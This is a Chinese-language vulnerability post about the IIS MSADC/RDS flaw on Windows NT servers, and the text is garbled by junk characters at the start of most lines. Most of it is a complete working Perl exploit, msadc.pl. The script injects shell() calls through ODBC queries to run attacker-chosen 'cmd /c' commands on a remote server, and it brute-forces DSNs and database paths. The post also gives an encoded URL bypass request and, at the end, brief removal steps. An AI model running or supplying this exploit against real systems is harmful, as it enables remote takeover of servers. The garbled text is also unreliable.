IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
]R)wBug |\uj(| 涉及程序:
%M1l[\N Microsoft NT server
P7=`P ef '?O 描述:
=l/Dc=[ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
&gr 8;O:0 `dV2\^*A 详细:
Ot-P
J
i 如果你没有时间读详细内容的话,就删除:
OeASB} c:\Program Files\Common Files\System\Msadc\msadcs.dll
Oo;]j)z 有关的安全问题就没有了。
W[Q<# Ju T~/>U&k}J 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
GIEQD$vy tkHmH/'7 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
oX:&;KA 关于利用ODBC远程漏洞的描述,请参看:
DmuQE~DV p
P@q
` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +`Q]p "G "Tser*i ) 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
2@Yu:|d4U http://www.microsoft.com/security/bulletins/MS99-025faq.asp 3GE;:;8B eEVB 这里不再论述。
sS
?A<D d)!'5ZrM 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
p1d%&e /}E2Rr?{ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
%<DdX*Qp 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
[06m{QJ)1 lmHQ"z 3G U"8Hw@ #将下面这段保存为txt文件,然后: "perl -x 文件名"
#2%V W|fE]RY #!perl
7O*Sg2B #
?sdSi-- # MSADC/RDS 'usage' (aka exploit) script
tDL.+6/ #
t27UlFX # by rain.forest.puppy
2c[HA #
D1-/#QN$1 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
TPBQfp%HU # beta test and find errors!
~L<"]V+B d'MZ%.# use Socket; use Getopt::Std;
<t(H+ykh getopts("e:vd:h:XR", \%args);
.^9khKJ; ),`jMd1` print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
](R
/4 5<*ES[S if (!defined $args{h} && !defined $args{R}) {
T.I'c6| print qq~
O@@nGSc@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
sz270k%[ -h <host> = host you want to scan (ip or domain)
U=KUx -d <seconds> = delay between calls, default 1 second
4_VgJ9@ -X = dump Index Server path table, if available
5&p}^hS5 -v = verbose
Q3hf =&$ -e = external dictionary file for step 5
_ s}aF Z+U -+eG Or a -R will resume a command session
',`Qx{tQ) aE)1LP ~; exit;}
`)8~/G% ~
i+XVo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f9#srIx+ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
`` g if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
AP>n-Z| if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>>J$`0kM* $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,}W|cm> if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
(kO (R#M o?/H<k\5 if (!defined $args{R}){ $ret = &has_msadc;
{jYVA~.|Z die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
P^F3,'N 0/DO"pnL@ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ng;?hT w . "cmd /c ";
~Sb)i f $in=<STDIN>; chomp $in;
g#74c'+ $command="cmd /c " . $in ;
[7PC\ fWA#n if (defined $args{R}) {&load; exit;}
1SS1P0Ur 6;Z`9PGp print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Y J,"@n_ &try_btcustmr;
iNkN'(" |X1axRO print "\nStep 2: Trying to make our own DSN...";
'L3MHTM>[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
a_+3, fP G|nBja8vm print "\nStep 3: Trying known DSNs...";
.zdaY,
U &known_dsn;
,S
dj"C "__)RHH:8 print "\nStep 4: Trying known .mdbs...";
u0+F2+ I &known_mdb;
^#e|^]]
L [[T6X9 if (defined $args{e}){
UmpHae print "\nStep 5: Trying dictionary of DSN names...";
\41/84BA &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
{06-h %qr L
/ PAC print "Sorry Charley...maybe next time?\n";
P-T@'}lW exit;
+`"Tn`O j<!dpt ##############################################################################
aTm R~k z0\
$#r^I sub sendraw { # ripped and modded from whisker
tQNc+>7k+u sleep($delay); # it's a DoS on the server! At least on mine...
$2*_7_Qb my ($pstr)=@_;
b4^O= socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
|;|r[aU die("Socket problems\n");
QhRz57' if(connect(S,pack "SnA4x8",2,80,$target)){
gzhIOeY select(S); $|=1;
& .1-6 print $pstr; my @in=<S>;
S)ipkuj X select(STDOUT); close(S);
CzreX3i return @in;
i75\<X } else { die("Can't connect...\n"); }}
e%ro7~ 8dx7@y?z ##############################################################################
b/oNQQM#Dk 5V(#nz sub make_header { # make the HTTP request
dKEy6C"@ my $msadc=<<EOT
<f:(nGj POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-J6` User-Agent: ACTIVEDATA
V[%IU'{: Host: $ip
6`'g ${U Content-Length: $clen
yph@H!@ Connection: Keep-Alive
aJ=)5%$6kc `Mg3P_}= ADCClientVersion:01.06
l v:GiA"X Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
'z}9BGR!
ZaaBg --!ADM!ROX!YOUR!WORLD!
4w9=z, Content-Type: application/x-varg
/,~]1&?}1 Content-Length: $reqlen
,f)+|?wz !.# g EOT
]vR
Ol. ; $msadc=~s/\n/\r\n/g;
`2+TN return $msadc;}
32 j){[PL3 U:7w8$_ ##############################################################################
F> Ika=z, eV(.\Lj sub make_req { # make the RDS request
=os!^{p7> my ($switch, $p1, $p2)=@_;
X)j%v\#`U my $req=""; my $t1, $t2, $query, $dsn;
)O*h79t^Q ]b;a~Y0 if ($switch==1){ # this is the btcustmr.mdb query
;{wzw8! $query="Select * from Customers where City=" . make_shell();
t5b cQ@Y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@kDY c8 t9 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
_-{=Z=?6} *uK!w(;2 elsif ($switch==2){ # this is general make table query
i4> M $query="create table AZZ (B int, C varchar(10))";
DU,B $dsn="$p1";}
WRbdv{1E p"6[ S elsif ($switch==3){ # this is general exploit table query
v0\M$@N[ $query="select * from AZZ where C=" . make_shell();
a 01s'9Be $dsn="$p1";}
89 m., +Q5'!@8 elsif ($switch==4){ # attempt to hork file info from index server
$Sy}im\H $query="select path from scope()";
9k62_]w@6 $dsn="Provider=MSIDXS;";}
9i_@3OVl IY!.j5q8 elsif ($switch==5){ # bad query
>2K'!@~' $query="select";
3zfpFgD! $dsn="$p1";}
Lfa&JKd )D+eWo $t1= make_unicode($query);
)xg8#M=K $t2= make_unicode($dsn);
m7A3i<6p $req = "\x02\x00\x03\x00";
\N|}V.r $req.= "\x08\x00" . pack ("S1", length($t1));
{_4Hsw?s6 $req.= "\x00\x00" . $t1 ;
M/F<W! $req.= "\x08\x00" . pack ("S1", length($t2));
'Q]Wk75 $req.= "\x00\x00" . $t2 ;
d7g$9&/q $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
46l*ui_ return $req;}
l(3PxbT VFq\{@-
% ##############################################################################
K0'p*[yO/j @$p6w sub make_shell { # this makes the shell() statement
Y*lc ~X return "'|shell(\"$command\")|'";}
"IJ1b~j? &l`_D?{<# ##############################################################################
:ba4E[@ AGwdM-$iT sub make_unicode { # quick little function to convert to unicode
Oel%lY}m3 my ($in)=@_; my $out;
P^q!Pye for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
pox;NdX7 return $out;}
2C"i2/NH' SMB&sl ##############################################################################
0RCp *<{hLf sub rdo_success { # checks for RDO return success (this is kludge)
&Nr+-$ my (@in) = @_; my $base=content_start(@in);
j)Q}5M if($in[$base]=~/multipart\/mixed/){
* >NML]#0 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
})mD{c/ return 0;}
WT,dTn;W [<^ '}-SJ ##############################################################################
Y nTx)uW O]="ggq& sub make_dsn { # this makes a DSN for us
F2(^OFh my @drives=("c","d","e","f");
9}K
K]m6u} print "\nMaking DSN: ";
h3\(660>$ foreach $drive (@drives) {
&'i.W}Ib! print "$drive: ";
"f3mi[ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
(yT&&_zY4 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h{~GzrL* . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
g[ @Q iy $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
}HbUB$5 return 0 if $2 eq "404"; # not found/doesn't exist
$_a/!)bP if($2 eq "200") {
Xk/:a}-l foreach $line (@results) {
+-V4:@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
mMu+MXTk< } return 0;}
#MMp0 R5},E ##############################################################################
O#8lJ%? CAA3-"Cwi sub verify_exists {
-0CL#RzKR my ($page)=@_;
o {q8An) my @results=sendraw("GET $page HTTP/1.0\n\n");
WwKpZ67$R return $results[0];}
JNvgUb'U B/~ubw ##############################################################################
-@'RYY= %vG;'_gMB sub try_btcustmr {
D iHj!tZN my @drives=("c","d","e","f");
$`C$|9S my @dirs=("winnt","winnt35","winnt351","win","windows");
tB}W
)Eb U~zy;MT foreach $dir (@dirs) {
CX{M@x3m print "$dir -> "; # fun status so you can see progress
}Vm'0 foreach $drive (@drives) {
ZWB3R print "$drive: "; # ditto
oq>jCOVh $reqlen=length( make_req(1,$drive,$dir) ) - 28;
eq2LV=d{m $reqlenlen=length( "$reqlen" );
-=u9>S)!c $clen= 206 + $reqlenlen + $reqlen;
o/RGz PR op&j4R my @results=sendraw(make_header() . make_req(1,$drive,$dir));
S!R(ae^} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
.lz=MUR else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
~(rZ) sG|,#XQ ##############################################################################
hn&NypI 3Dh{#"88 sub odbc_error {
_|{pO7x]oG my (@in)=@_; my $base;
!D
'A my $base = content_start(@in);
S~g" if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
PIsXX#`7; $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Cq\{\!6[ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
VdL }$CX$ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6iH]N*]S^ return $in[$base+4].$in[$base+5].$in[$base+6];}
--`W1!jI@ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
r6:nYyF$)v print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
W3MH8z
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V<n#%!M5gV dr"@2=Z ##############################################################################
D_w<igu!3 `V[ hE
r| sub verbose {
EY :EpVin my ($in)=@_;
M?ElD1#Z return if !$verbose;
xaIe7.Z"xo print STDOUT "\n$in\n";}
kRiZ6mn Ao9|t;i ##############################################################################
2m&?t_W /w*HxtwFmD sub save {
@]],H0 my ($p1, $p2, $p3, $p4)=@_;
M!PK3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
H Mfhe[A? print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^g+M=jq _ close OUT;}
o107. s o|VM{5 ##############################################################################
$fW8S8 g*%o%Lv sub load {
.m%ygoO my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
TfNm0=| open(IN,"<rds.save") || die("Couldn't open rds.save\n");
0gKSjTqo @p=<IN>; close(IN);
~Z97L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
R"71)ob4 $target= inet_aton($ip) || die("inet_aton problems");
t$uj( y> print "Resuming to $ip ...";
OF(tCK $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
W%#LHluP if($p[1]==1) {
M;0\fUh; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
':T"nORC $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
C9`x"$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
s:sk`~2<gd if (rdo_success(@results)){print "Success!\n";}
).r04)/ else { print "failed\n"; verbose(odbc_error(@results));}}
=XUt?5 elsif ($p[1]==3){
myZ8LQ& if(run_query("$p[3]")){
wH qbTA print "Success!\n";} else { print "failed\n"; }}
YtT:\#D elsif ($p[1]==4){
tlmfDQD if(run_query($drvst . "$p[3]")){
`?(9Bl print "Success!\n"; } else { print "failed\n"; }}
04#r'UIF exit;}
+]#pm9 _M[T8 "e( ##############################################################################
(ZK(ODn)i _8?r!D#P;s sub create_table {
f{R/rb&iB my ($in)=@_;
1uc;:N G= $reqlen=length( make_req(2,$in,"") ) - 28;
\XG\ $reqlenlen=length( "$reqlen" );
u|&a!tOf2 $clen= 206 + $reqlenlen + $reqlen;
5'"9)#Ve my @results=sendraw(make_header() . make_req(2,$in,""));
#tt*yOmiH return 1 if rdo_success(@results);
Ni61o?]Nj my $temp= odbc_error(@results); verbose($temp);
mk?F+gh return 1 if $temp=~/Table 'AZZ' already exists/;
EnjSio0 return 0;}
gG46hO-M%x |H-zm&h>' ##############################################################################
t=r*/DxX= ^/Frg<>'p sub known_dsn {
;c>IM] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
4p/d>DTiM my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
4ko(bW#jL "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
nx`I9j\ "banner", "banners", "ads", "ADCDemo", "ADCTest");
'uF"O"* E`UEl$($ foreach $dSn (@dsns) {
;jT@eBJ print ".";
CC`Y r next if (!is_access("DSN=$dSn"));
B#x.4~YX if(create_table("DSN=$dSn")){
;kF+V* print "$dSn successful\n";
" [K>faV if(run_query("DSN=$dSn")){
Hz3KoO & print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*8xMe print "Something's borked. Use verbose next time\n";}}} print "\n";}
K(p6P3Z %>k$'UWzK ##############################################################################
kT4Tb%7KM ;PX>] r5U0 sub is_access {
Q2!vO4!<N my ($in)=@_;
>[gNQJ6 $reqlen=length( make_req(5,$in,"") ) - 28;
gLPgh%B4 $reqlenlen=length( "$reqlen" );
g
E;o_~ $clen= 206 + $reqlenlen + $reqlen;
Ba]^0Y
u my @results=sendraw(make_header() . make_req(5,$in,""));
z]
teQaUZ my $temp= odbc_error(@results);
wO ?A/s verbose($temp); return 1 if ($temp=~/Microsoft Access/);
,qO2D_ return 0;}
%$SO9PY [NIaWI,> ##############################################################################
+d,Z_ 6F 0N>R!
sub run_query {
=G%L:m* my ($in)=@_;
XVkCYh4, $reqlen=length( make_req(3,$in,"") ) - 28;
Q"sszz $reqlenlen=length( "$reqlen" );
.Zv uhOn^ $clen= 206 + $reqlenlen + $reqlen;
Q96^rjY my @results=sendraw(make_header() . make_req(3,$in,""));
qEV>$>} return 1 if rdo_success(@results);
VTvNn my $temp= odbc_error(@results); verbose($temp);
%13V@'e9 return 0;}
:B]yreg f8836<c ##############################################################################
@t?uhT*Z= Eh&HN-& sub known_mdb {
H)l7:a my @drives=("c","d","e","f","g");
I Z{DR my @dirs=("winnt","winnt35","winnt351","win","windows");
/%w3(e my $dir, $drive, $mdb;
GbN|!,X1m my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
l^%W/b>?b K';x2ffj # this is sparse, because I don't know of many
*b+~@o my @sysmdbs=( "\\catroot\\icatalog.mdb",
eww/tG a "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
H^C$2 f "\\system32\\certmdb.mdb",
u~q6?*5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Ow4H7sl X[KHI1@w my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
L9":= "\\cfusion\\cfapps\\forums\\forums_.mdb",
_iZ_.3Ip "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
Z</.Ss 4 "\\cfusion\\cfapps\\security\\realm_.mdb",
x 2Cp{+} "\\cfusion\\cfapps\\security\\data\\realm.mdb",
&+zS4)UK "\\cfusion\\database\\cfexamples.mdb",
C(kIj "\\cfusion\\database\\cfsnippets.mdb",
9&}i[x4 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
~zT7 43 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
R\d)kcy4 "\\cfusion\\brighttiger\\database\\cleam.mdb",
sW]fPa(cn, "\\cfusion\\database\\smpolicy.mdb",
,c9K]>8m` "\\cfusion\\database\cypress.mdb",
=S:Snk% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
R;EdYbiF b "\\website\\cgi-win\\dbsample.mdb",
zyi;vu "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
w_]`)$9 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
p? L*vcU ); #these are just
24Uvi:B?~ foreach $drive (@drives) {
5|0} foreach $dir (@dirs){
#1oyRD- foreach $mdb (@sysmdbs) {
$|%BaEyk print ".";
r>ca17 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
-oR P ZtW print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
R /0zB if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
k~=_]sLn print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
*'jI>^o } else { print "Something's borked. Use verbose next time\n"; }}}}}
wY6m^g$h3 YecV+K'p: foreach $drive (@drives) {
;dVYR=l foreach $mdb (@mdbs) {
FEwPLViso print ".";
;"Q.c#pA$g if(create_table($drv . $drive . $dir . $mdb)){
oK#UEn print "\n" . $drive . $dir . $mdb . " successful\n";
f*46,`x if(run_query($drv . $drive . $dir . $mdb)){
%UokR" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1E]TH/JK } else { print "Something's borked. Use verbose next time\n"; }}}}
H4"'&A7$ }
<Po$|$_~ -h8@B+ ##############################################################################
y0_z_S#gO r!e:sJAB. sub hork_idx {
WCUaXvw print "\nAttempting to dump Index Server tables...\n";
xfK@tLEZ-1 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
ptMDhMVW $reqlen=length( make_req(4,"","") ) - 28;
e-Ma8+X\ $reqlenlen=length( "$reqlen" );
]L{diD2G $clen= 206 + $reqlenlen + $reqlen;
)]M,OMYq- my @results=sendraw2(make_header() . make_req(4,"",""));
K|sk]2. if (rdo_success(@results)){
@Z2^smf my $max=@results; my $c; my %d;
o4F(X0 for($c=19; $c<$max; $c++){
ALXie86a8 $results[$c]=~s/\x00//g;
7w51UmO $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+nU=)x?38 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
~
NZC0& $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
s_}q $d{"$1$2"}="";}
>7,?X_:A-1 foreach $c (keys %d){ print "$c\n"; }
wlsq[xP } else {print "Index server doesn't seem to be installed.\n"; }}
0 n}2D7 ,y}@I" ##############################################################################
^ZPynduR #bCQEhCy sub dsn_dict {
1=z6m7@'- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
z,xGjSP while(<IN>){
:Fh#"<A&& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
l#bE_PD; next if (!is_access("DSN=$dSn"));
BHN EP |= if(create_table("DSN=$dSn")){
+*L<"@ print "$dSn successful\n";
k$3Iv"gbx if(run_query("DSN=$dSn")){
SQs+4YJ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
n4InZ!) print "Something's borked. Use verbose next time\n";}}}
p!>DA?vF print "\n"; close(IN);}
/^hc8X >yf}9Zs ##############################################################################
~`X$bF g$h`.Fk, sub sendraw2 { # ripped and modded from whisker
N.UeuLz
sleep($delay); # it's a DoS on the server! At least on mine...
7 >-(g+NF! my ($pstr)=@_;
s
a{x.2/o} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<N{Y*,^z die("Socket problems\n");
}?^]-`b if(connect(S,pack "SnA4x8",2,80,$target)){
d}Xb8SaE%c print "Connected. Getting data";
lsA?|4`mn open(OUT,">raw.out"); my @in;
-BcnJK0 select(S); $|=1; print $pstr;
{R8)DK
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
sZPyEIXie close(OUT); select(STDOUT); close(S); return @in;
.H
9r_ } else { die("Can't connect...\n"); }}
U(/8dCyyY V@o#" gZ ##############################################################################
{5Sy=Y oLIgj,k{* sub content_start { # this will take in the server headers
Zk~~`h my (@in)=@_; my $c;
3HqTVq`& for ($c=1;$c<500;$c++) {
j:E3c\a if($in[$c] =~/^\x0d\x0a/){
;a 6Z=LB if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
[*U.bRs else { return $c+1; }}}
H5Bh?mw2 return -1;} # it should never get here actually
RA1K$D ?A LK+67Y{25 ##############################################################################
<f#pS[A z1nKj\AM2 sub funky {
"7J38Ej\ my (@in)=@_; my $error=odbc_error(@in);
ZRj/lQ2D if($error=~/ADO could not find the specified provider/){
^cCNQS}r print "\nServer returned an ADO miscofiguration message\nAborting.\n";
G@P+M1c exit;}
0+T:};] if($error=~/A Handler is required/){
mJZB@m u? print "\nServer has custom handler filters (they most likely are patched)\n";
-QK- w> exit;}
xX.kKEo"d if($error=~/specified Handler has denied Access/){
]Z?jo#F print "\nServer has custom handler filters (they most likely are patched)\n";
.z[#j]k exit;}}
y({lE3P pi5DDK ##############################################################################
[<WoXS1LX [ J4n% sub has_msadc {
L)c]i'WZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
a66Ns7Rb my $base=content_start(@results);
(_]D\g~ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
f4Ob4ah!( return 0;}
%UlgG1?A 35JVF*z ########################
CbwQbJ/v7 Pk>S;KT. nK}-^Ur 解决方案:
<%.lPO]&E 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
p<+Y;,+ 2、移除web 目录: /msadc